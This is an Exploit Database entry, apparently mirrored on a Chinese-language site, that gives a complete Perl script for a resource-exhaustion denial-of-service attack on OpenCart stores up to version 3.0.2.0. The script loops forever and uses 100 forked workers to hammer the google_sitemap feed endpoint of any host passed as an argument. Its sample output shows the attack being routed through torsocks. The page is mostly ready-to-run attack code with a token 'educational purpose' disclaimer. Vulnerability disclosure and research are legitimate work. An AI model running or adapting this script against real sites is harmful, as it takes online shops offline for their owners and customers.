Opencart < 3.0.2.0 - Denial of Service

• Exploit Database
• 19 阅读

• 作者： Todor Donev
  日期： 2018-06-22
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44927/

• #!/usr/bin/perl -w
  #
  #Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
  #
  #Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
  #https://ethical-hacker.org/
  #https://facebook.com/ethicalhackerorg
  #
  #Tested store with added more than 1000 products
  #
  #[todor@adamantium cartkiller]# torsocks perl killcart.pl example.com
  #Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
  #Connecting example.com with 80 forks..
  #Bye, bye and good night..
  #Bye, bye and good night..
  #Bye, bye and good night..
  #^C
  #[todor@adamantium cartkiller]# 
  #
  #
  #Disclaimer:
  #This or previous programs is for Educational 
  #purpose ONLY. Do not use it without permission. 
  #The usual disclaimer applies, especially the 
  #fact that Todor Donev is not liable for any 
  #damages caused by direct or indirect use of the 
  #information or functionality provided by these 
  #programs. The author or any Internet provider 
  #bears NO responsibility for content or misuse 
  #of these programs or any derivatives thereof.
  #By using these programs you accept the fact 
  #that any damage (dataloss, system crash, 
  #system compromise, etc.) caused by the use 
  #of these programs is not Todor Donev's 
  #responsibility.
  # 
  #Use them at your own risk!
  #
  #This exploit is buggy and proof of concept
  # 
  use Parallel::ForkManager;
  use LWP;
  print "Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)\n";
  sub usage{
  print "usg: perl $0 <host>\n";
  print "exmpl: perl $0 www.example.com\n";
  print "https://ethical-hacker.org/\n";
  print "https://facebook.com/ethicalhackerorg\n";
  print "Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>\n";
  }
  if ($#ARGV < 0) {
  usage;
  exit;
  }
  my $numforks = 100;
  print "Connecting $ARGV[0] with $numforks forks..\n";
  sub killcart{
  my $pm = new Parallel::ForkManager($numforks);
  $|=1;
  srand(time());
  for ($k=0;$k<$numforks;$k++) {
  $pm->start and next; 
  my $browser= LWP::UserAgent ->new(ssl_opts => { verify_hostname => 0 },protocols_allowed => ['https']);
  # $browser->timeout(20);
   $browser->agent('Mozilla/5.0');
  my $response = $browser->get("https://$ARGV[0]/index.php?route=extension/feed/google_sitemap");
  print "Loop detected: Opencart is still vulnerable but seems server is correct configured. Change forks.\n" if($response->code eq 508);
  print "Kill me! Google_Sitemap is turned off..\n" if($response->code eq 404);
  print "Bye, bye and good night..\n" if(($response->code eq 503 or $response->code eq 504));
  $pm->finish;
  }
  $pm->wait_all_children;
  }
  while(1) {
  killcart();
  }